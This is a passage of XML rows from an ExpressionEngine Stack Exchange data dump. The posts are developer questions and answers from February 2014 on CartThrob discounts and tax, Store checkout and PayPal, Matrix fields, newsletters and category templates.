  <row Id="19246" PostTypeId="2" ParentId="19122" CreationDate="2014-02-08T00:27:09.700" Score="1" Body="&lt;p&gt;You can sort of think of it as applying the discount before or after tax. Say for example, we have a cart with a subtotal of $20, a discount of $10, and a tax of 10%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default method works similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Subtotal($20) - Discount($10)) + ((Subtotal($20) - Discount($10)) * Tax(.10)) = Total($11)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(20-10) + ((20-10) * .10) = 11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the exempt_discount_from_tax config added, it works similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subtotal($20) + (Subtotal($20) * Tax(.10)) - Discount($10) = Total($12)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;20 + (20 * .10) - 10 = 12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with that said, that config variable was only intended to be set once. It wasn't meant to be changed on the fly. If you need to be able to configure that variable based on country code, you'll need to modify a core cartthrob file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In third_party/cartthrob/cartthrob/core/Cartthrob_cart.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 1132. Change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;core-&amp;gt;config('exempt_discount_from_tax') == TRUE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;core-&amp;gt;config('exempt_discount_from_tax') == &quot;y&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then inside your template you'll be able to set that config using the &lt;code&gt;{exp:cartthrob:set_config}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:customer_info}&#xA;    {exp:cartthrob:set_config}&#xA;        {set_exempt_discount_from_tax value='{if &quot;{customer_country_code}&quot; == &quot;USA&quot;}y{if:else}n{/if}'}&#xA;    {/exp:cartthrob:set_config}&#xA;{/exp:cartthrob:customer_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-02-08T00:27:09.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19247" PostTypeId="2" ParentId="19125" CreationDate="2014-02-08T00:42:54.390" Score="1" Body="&lt;p&gt;CK Editor, which is the basis for WYGWAM and Wyvern, will do this when links are added with the link button. Also look at VZ URL: &lt;a href=&quot;http://devot-ee.com/add-ons/vz-url-extension&quot; rel=&quot;nofollow&quot;&gt;devot-ee.com/add-ons/vz-url-extension&lt;/a&gt; which will check links for validity when entered.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-02-08T00:42:54.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19248" PostTypeId="1" CreationDate="2014-02-08T00:48:45.907" Score="1" ViewCount="72" Body="&lt;p&gt;EE 2.7.3&#xA;Matrix 2.5.10&#xA;MAMP, PHP 5.5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a weird one, working on a fresh site build, data from a Matrix field is showing in my template, but when I go to edit in the CP no rows display in the CP. If I save the entry then the data is gone and nothing displays in the template. I'm not sure when the field stopped displaying data in the CP, but it WAS showing in the CP at one point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also working with Solspace Importer for this particular channel, and the last import I did was for non Matrix fields in the same channel, not sure if this could have anything to do with the Matrix data not showing in the CP… I import the Matrix data via the XML importer, wondering if that needs to be done last? That still wouldn't explain why Matrix data is not showing in the CP though.&lt;/p&gt;&#xA;" OwnerUserId="2442" LastEditorUserId="2442" LastEditDate="2014-02-09T05:24:24.663" LastActivityDate="2014-02-09T05:24:24.663" Title="Matrix data not showing in CP, but displays in templates" Tags="|matrix|solspace|solspace-importer|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19249" PostTypeId="2" ParentId="19231" CreationDate="2014-02-08T01:15:40.263" Score="0" Body="&lt;p&gt;As Chris Barrett said above, you have to check the boxes next to your product options allowing selection and you're all good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the Update Cart page/template needs to take into account whether the product is a Package ({if is_package}) and setting up the options form fields accordingly. That was my main problem actually; the View Cart form was setup thinking the Package was a stand alone product, so was outputting the options for one of the products instead of the options for each of the products in the Package. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a snippet I used to implement in the default Store template (be sure to include in the {exp:cartthrob:update_cart_form} tag pair):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if is_package}&#xA;&#xA;&#xA;    {package}&#xA;    {sub:title}&amp;lt;br /&amp;gt;&#xA;&#xA;    {exp:cartthrob:item_options row_id=&quot;{sub:row_id}&quot;}&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;&#xA;            {if dynamic}&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;{option_field}&quot;&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;{input}&amp;lt;/div&amp;gt;&#xA;            {if:else}&#xA;                {if options_exist}&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;{option_field}&quot;&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    {select} &#xA;                        &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;&#xA;                            {option_name}{if option_price_numeric != 0} +{option_price}{/if}&#xA;                        &amp;lt;/option&amp;gt;&#xA;                    {/select}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;       {/exp:cartthrob:item_options}&#xA;    {/package}&#xA;&#xA;{if:else}&#xA;&#xA;    {exp:cartthrob:item_options row_id=&quot;{row_id}&quot;}&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;&#xA;            {if dynamic}&#xA;                &amp;lt;label class=&quot;control-label&quot; for=&quot;{option_field}&quot;&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;{input}&amp;lt;/div&amp;gt;&#xA;            {if:else}&#xA;                {if options_exist}&#xA;                    &amp;lt;label class=&quot;control-label&quot; for=&quot;{option_field}&quot;&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    {select} &#xA;                        &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;&#xA;                            {option_name}{if option_price_numeric != 0} +{option_price}{/if}&#xA;                        &amp;lt;/option&amp;gt;&#xA;                    {/select}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;       {/exp:cartthrob:item_options}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="169" LastEditorUserId="169" LastEditDate="2014-02-09T19:41:04.110" LastActivityDate="2014-02-09T19:41:04.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19250" PostTypeId="2" ParentId="19239" CreationDate="2014-02-08T04:00:25.700" Score="1" Body="&lt;p&gt;OK... for all those out there, I apologize for the lack of communication and not changing the field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data does carry over. The field type processed correctly. Once the old saefcracker fields were updated to file fields the entries had to be re-saved in order to process them as file fields. Also, the saefcracker folder had to be returned to the third party folder in order to update the fields that were included within the Matrix fields. This however, could have been due to not updating Matrix yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will help anyone else who runs into a similar issue. &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-02-08T04:00:25.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19251" PostTypeId="2" ParentId="19242" CreationDate="2014-02-08T07:18:35.597" Score="1" Body="&lt;p&gt;EE can't show what it doesn't have. So the channel entries should not be the starting point of your quest, but i guess the timeslots should be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would either go for a frontend solution and let jquery (or a library like angular/knockout) solve the display problem. Or i would prepare a timeslot-list with stash and add the entries to another list and/or compare them. &#xA;See also: &lt;a href=&quot;https://speakerdeck.com/croxton/stash-core-principles?slide=55&quot; rel=&quot;nofollow&quot;&gt;https://speakerdeck.com/croxton/stash-core-principles?slide=55&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-02-08T07:18:35.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19252" PostTypeId="1" CreationDate="2014-02-08T13:30:36.477" Score="1" ViewCount="96" Body="&lt;p&gt;I am trying to set up a coupon code but I don't think I understand what purchased quantity is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 6 products and want to set a code that will give a 20% discount on one of these products if one of the 6 is purchased at full price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming in this scenario I would need to use the buy x get y plugin and that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;buy_x_entry_ids = 1,2,3,4,5,6&#xA;Purchased Quantity = 2&#xA;get_y_entry_ids = 1,2,3,4,5,6&#xA;Discount Quantity = 1&#xA;Percentage Off = 20&#xA;Per Item Limit = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I put 1 x product_1 and 1 x product_2 in my cart no discount is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I put 2 x product_1 and 1 x product_2 in my cart 20% discount is applied to one product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I put 1 x product_1 and 2 x product_2 in my cart no discount is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove Purchased Quantity it is better but then applies the 20% discount on a single product in the checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what the correct settings should be?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-02-10T20:08:12.007" Title="Purchased Quantity - what is it?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19253" PostTypeId="1" AcceptedAnswerId="19260" CreationDate="2014-02-08T16:38:41.653" Score="1" ViewCount="108" Body="&lt;p&gt;I was wondering.. there is a plugin that provides the Safari push notifications for our ExpressionEngine websities?&#xA;there are a couple of plugins for wordpress, drupal and joomla&lt;/p&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-02-08T22:28:17.900" Title="Safari push notification" Tags="|notification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19254" PostTypeId="2" ParentId="19227" CreationDate="2014-02-08T16:49:03.437" Score="1" Body="&lt;p&gt;Anna is right, you can add custom classes for css to the event(s) using the {if event_multi_day}{/if} conditional.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-02-08T16:49:03.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19255" PostTypeId="1" CreationDate="2014-02-08T18:05:19.427" Score="1" ViewCount="99" Body="&lt;p&gt;do you know if its possible to create freeformpro fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name (text) | Age (select) | Diet (text)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but somehow on the front end allow users to duplicate these on the fly, eg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Please submit the names etc you wish to order for&quot; the user then clicks to add a name (and above fields) and then another… so you may be able to add up to 10 names and then submit (a kind of booking form for a person to add attendees to his/her order)? At the moment, I have created form fields for each of the above  10 times (Name1, Age1, Diet1 and Name2, Age2, Diet2  and Name3, Age3, Diet3&#xA; etc x10) and the fields are displayed ready to be filled in ie max of ten able to be booked. So for example if the user needs to order just 3 names (with Age and Diet fields) they would fill in x3 of these out of the 10 available and leave the rest empty… fine with that but if there is a better way without too much jQuery etc that would be great! Alternatively would it work if in the HTML I just resued Name1, Age1, Diet1 x10 times (within x10 divs)? Thanks&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2014-02-08T18:05:19.427" Title="Freeform pro duplicate fields on the fly" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19256" PostTypeId="1" AcceptedAnswerId="19261" CreationDate="2014-02-08T18:48:41.253" Score="1" ViewCount="430" Body="&lt;p&gt;I'm planing several newsletters for one of my project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to send out automated daily and weekly as well as sporadic manually sent Newsletters out to several mailing-lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now as I know there actually are two ways to do that: use an external service like MailChimp or CampaignMonitor (which is better?) … or use a service on our own servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several modules to link ee with an external service and there are the native or local modules like EE Mailing List and FireMail. I know that using an external service might be better because of all the mailing/blacklist/whitelist/etcpp stuff … but what are the disadvantages of those services?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Project I'm talking about has almost 10k members and therefore there may be thousands of subscribers. The raw-data of the newsletter will be ee-templates and should be (if possible) send absolutely automaticly each day (list 1) and weekly (list 2). There will also be several mailing-lists where newsletters will be sent only manually by me/our staff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now since there are so many Services, Modules etc out there: What is the best solution for this use-cases? And why? What are you using? And why are you using that? Or what are your experiences with that particular solution?&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditDate="2014-02-08T19:09:05.697" LastActivityDate="2014-02-08T22:32:20.030" Title="Automated Newsletter from ExpressionEngine with native or external mailing-service" Tags="|add-on|email|mailinglist|newsletter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19257" PostTypeId="2" ParentId="19253" CreationDate="2014-02-08T18:51:17.310" Score="1" Body="&lt;p&gt;We developed a solution to use Safari/Web Push Notifications with EE — but since Apples Push-Notification-Service needs server-side scripts and services, this may be hard to accomblish with a EE-AddOn without offer a SaaS behind it to deliver the Notifications.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2014-02-08T18:51:17.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19258" PostTypeId="1" AcceptedAnswerId="19269" CreationDate="2014-02-08T19:32:47.423" Score="1" ViewCount="63" Body="&lt;p&gt;In the URL &lt;strong&gt;www.site/recipes/meat&lt;/strong&gt;, the segment 2 is a category, so, to make this work, I use a template with the category´s name:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the category template, is named (&lt;strong&gt;meat&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;recipes/.recipes&quot; url_title=&quot;meat&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main template, is named (&lt;strong&gt;.recipes&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;estrutura/.template&quot;}&#xA;     {exp:stash:set name='main'}&#xA;       .........&#xA;     {/exp:stash:set}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, when the category appears in the url, the main template &lt;strong&gt;.recipes&lt;/strong&gt; is called by the category template. With,&#xA;&lt;strong&gt;www.site/recipes/meat&lt;/strong&gt;, all the entries of this category are listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's working fine, but I have to create a small category template for each category. I'm curious to know if a more efficient templating way exists?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stéphane&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-02-09T16:01:08.933" Title="efficient category templating" Tags="|templates|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19259" PostTypeId="2" ParentId="17503" CreationDate="2014-02-08T20:54:43.187" Score="0" Body="&lt;p&gt;Your best bet is third party. The included RTE has a multitude of bugs EL just seems to keep ignoring.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-02-08T20:54:43.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19260" PostTypeId="2" ParentId="19253" CreationDate="2014-02-08T22:28:17.900" Score="1" Body="&lt;p&gt;I have not personally tested this yet, but another developer just released an extension for my add-ons Postmaster which does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/push-notifications-for-postmaster&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/push-notifications-for-postmaster&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to try that out, you also need Postmaster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-02-08T22:28:17.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19261" PostTypeId="2" ParentId="19256" CreationDate="2014-02-08T22:32:20.030" Score="4" Body="&lt;p&gt;Postmaster is definitely a viable option for this. You could create a Notification to send email's using MailChimp, which I think would be better than CampaignMonitor for this. You could just setup a CRON job to send these notifications whenever you wanted. And if Postmaster doesn't get you everything you need out of the box, the API could be used to bridge the gaps pretty easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would avoid sending emails with PHP. You are subject to all kinds of issues, like a heavy bounce rate for your emails, spam, IP blocking, and so much more. These mailing list services do a great job, and specialize in that specific task. No to mention, their networks and performance is already setup to scale to as many email addresses as you need. I wouldn't even bother trying to build this without one of these services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-02-08T22:32:20.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19262" PostTypeId="2" ParentId="19173" CreationDate="2014-02-09T00:02:04.087" Score="1" Body="&lt;p&gt;Per the comments above:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I just located the issue. It was how the state was being passed. I had an issue with how the states auto populate when the country is selected. Problem is solved now. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-09T00:02:04.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19263" PostTypeId="2" ParentId="19185" CreationDate="2014-02-09T00:12:38.873" Score="2" Body="&lt;p&gt;Store generates a new ID for each order (as Anna mentioned, this is based on the &lt;code&gt;id&lt;/code&gt; column in the &lt;code&gt;exp_store_orders&lt;/code&gt; table). Therefore it should not be possible for two orders to be created with the same ID, or payment to be submitted twice via Paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I assume happened is one of two things.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;At some point in the past you have had different shopping cart software linked to this PayPal account. This means that Store is trying to re-use IDs which have already been used by different software linked to your PayPal account.&lt;/li&gt;&#xA;&lt;li&gt;Alternatively, it's possible during testing you made a bunch of test orders, then deleted them and restarted Store's order numbering scheme, causing IDs to be reused. However, you didn't mention this in your question, so I'm going to assume this is not the case.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In any case, the easiest option is simply to disable PayPal's duplicate invoice ID check. Store already has its own checks to ensure orders are not paid twice, so the PayPal check is redundant. You can disable this check by logging into PayPal, under:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My Account &gt; Profile &gt; My Selling Tools &gt; Credit Card Statement Name &gt; &quot;Allow multiple payments per invoice ID&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-09T00:12:38.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19264" PostTypeId="2" ParentId="19238" CreationDate="2014-02-09T00:17:25.150" Score="1" Body="&lt;p&gt;I don't think it's due to the lack of SSL. Store 2 allows test credit card details to be submitted without having SSL enabled on your server (although you should do it anyway, for consistency between your development and production environments).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do credit card details need to be submitted on the last step?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. With Store, payment details must always be submitted on the last step of the checkout. This is because not all gateways support separate authorize/capture operations, so we must immediately charge the supplied credit card. It would be unwise to charge the credit card without also marking the order as complete.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-09T00:17:25.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19265" PostTypeId="1" CreationDate="2014-02-09T02:39:24.733" Score="1" ViewCount="80" Body="&lt;p&gt;I wish to create my own fieldtype add-on (a fieldtype where users are able to create advanced, responsive layouts using simple tools in the backend). I currently do this without an add-on using Grid, with each row in my Grid field corresponding to a block of content on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I was hoping to extend Grid with some additional logic, Javascript and CSS to create a more user friendly version of this. I can see in the database how Grid generally works and my question is whether I need to replicate this functionality with a custom table within the database or whether I can extend Grid's functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers to anyone who can help and sorry if some of my terminology is a little off - still learning my way around EE addons&lt;/p&gt;&#xA;" OwnerUserId="2722" LastActivityDate="2014-02-09T02:39:24.733" Title="When building a fieldtype add-on, are you able to extend Grid?" Tags="|add-on|add-on-development|grid|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19266" PostTypeId="1" CreationDate="2014-02-09T13:40:35.150" Score="3" ViewCount="251" Body="&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;When adding more than one of the same product to the cart, the qty obviously increases, but it is possible to treat one or more products separately. Ie, if i add product A twice, it shows up as two separate products in the cart?&#xA;&lt;strong&gt;// end edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Included order_custom1 and 2 on checkout. I use 1 to generate a random string which serves as the gift card number. I use 2 to save the value of the gift card (the item sub total)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Since the custom fields are inside the {items} tag pair, they are duplicated for each product (gift card) in the cart. However I'm beginning to think that it's not possible to submit more than one of each custom field, and that they are really supposed to be outside the {items} pair, is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is because when I output the custom fields in the order overview, I am only able to get the values saved within the last custom field (1 and 2). This is despite outputting them inside the {items} pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i can only submit this once per checkout, is there a way to only allow one product from a specific channel to be in the cart per order? In other words, can i force the user to only be allowed one &quot;gift card&quot; per order?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="1525" LastEditDate="2014-02-09T20:19:40.437" LastActivityDate="2014-02-09T20:48:16.900" Title="Trying to build a makeshift gift card function" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19267" PostTypeId="2" ParentId="17697" CreationDate="2014-02-09T15:29:26.657" Score="1" Body="&lt;p&gt;I would recommend that you check SEO Lite.This is actually very basic basic and very helpful. I think I will also check what notacouch have shared here. I will definitely check SurgeEO and SEOverride.&lt;/p&gt;&#xA;" OwnerUserId="2723" LastActivityDate="2014-02-09T15:29:26.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19268" PostTypeId="1" AcceptedAnswerId="19307" CreationDate="2014-02-09T15:41:50.337" Score="1" ViewCount="64" Body="&lt;p&gt;We are using the &lt;code&gt;Cartthrob_paypal_express.php&lt;/code&gt; Payment Gateway with CartThrob for over a year now and it is working great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just yesterday I noticed that users are being taken to the English version of PayPal when clicking &quot;Purchase&quot;. In the top right there is a language dropdown select with English, French and Spanish I believe but not German.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logging in an purchasing works nonetheless but I would like to have the users land on the German language version since we are a German shop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I called PayPal today but all they could tell me was that it must have something to do with the payment gateway plugin. I skimmed through the php file but couldn't find anything really (not good with php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the CT prefs I also coudn't find anything. Also the API username and stuff doesn't give me a clue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers!&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-02-10T20:31:03.790" Title="How to make CartThrob PayPal Gateway redirect to German PayPal site?" Tags="|cartthrob|paypal|payment-gateway|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19269" PostTypeId="2" ParentId="19258" CreationDate="2014-02-09T16:01:08.933" Score="4" Body="&lt;p&gt;By default EE looks for the category indicator in the URL, eg www.site/recipes/category/meat, then output content based on that category url title (/meat).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use the category indicator you'll need to use the LowSeg2Cat addon  &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat&lt;/a&gt; - you can then use one entries tag and one template for any category, simply by using Seg2Cat to pull in the category ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mychannel&quot; category=&quot;{segment_2_category_id}&quot;}&#xA;{title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-02-09T16:01:08.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19270" PostTypeId="1" CreationDate="2014-02-09T18:20:34.867" Score="1" ViewCount="203" Body="&lt;p&gt;I am running Store 2.20 and EE 2.73 and I am running into Fatal error: Uncaught exceptions using the USPS shipping extension 1.01. Everything is installed and I have two products with all the dimensions added such as weight, length, width and height. Here is an image of my product entry info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7TYAV.png&quot; alt=&quot;store product page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time I try to add a product to the cart, I always get a fatal error stating that Dimensions are missing for package; unable to calculate postage. Additional Info: All dimensions must be greater than 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IK3xt.png&quot; alt=&quot;Fatal dimension error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a pretty intrusive error when someone is just trying to add a product to their cart and not actually going through the checkout process. Does Store call the shipping method every time a product is added to the cart? Is there a better way to handle the uncaught exceptions than killing the site? Also, I get a guzzle error stating that Couldn't resolve host 'production.shippingapis.com' [url] &lt;a href=&quot;http://production.shippingapis.com/ShippingAPI.dll&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://production.shippingapis.com/ShippingAPI.dll&lt;/a&gt;?. This happens pretty regularly as well. I have used Store 1.65 with the same credentials without any issues for the past few months and only started seeing this when I upgraded to Store 2.20. At the moment, a user can not even add products to a cart without one of these errors happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eR2ld.png&quot; alt=&quot;Guzzle shipping connection error&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2724" LastActivityDate="2014-04-10T21:51:29.490" Title="Getting USPS shipping working with Store 2.20" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19271" PostTypeId="2" ParentId="18943" CreationDate="2014-02-09T19:53:54.147" Score="0" Body="&lt;p&gt;Working off the example from Solspace with some modifications, I got good results from the PHP below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main differences are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I added code to check to see if each rating field had a valid entry (null or 0 are not valid in my system) and adjusted the rating count variable based on that. Then use rating count to divide for the average so the null values do not affect the average. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I also added code at bottom to display extra 0 stars after lower ratings so five stars are always shown.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rating_count = 0;&#xA;if (&quot;{rating1}&quot;&amp;gt;=1) &#xA;{&#xA;    $rating_count++;&#xA;}&#xA;if (&quot;{rating2}&quot;&amp;gt;=1) &#xA;{&#xA;    $rating_count++;&#xA;}&#xA;if (&quot;{rating3}&quot;&amp;gt;=1) &#xA;{&#xA;    $rating_count++;&#xA;}&#xA;if (&quot;{rating4}&quot;&amp;gt;=1) &#xA;{&#xA;    $rating_count++;&#xA;}&#xA;&#xA;$rating_avg = (&quot;{rating1}&quot; + 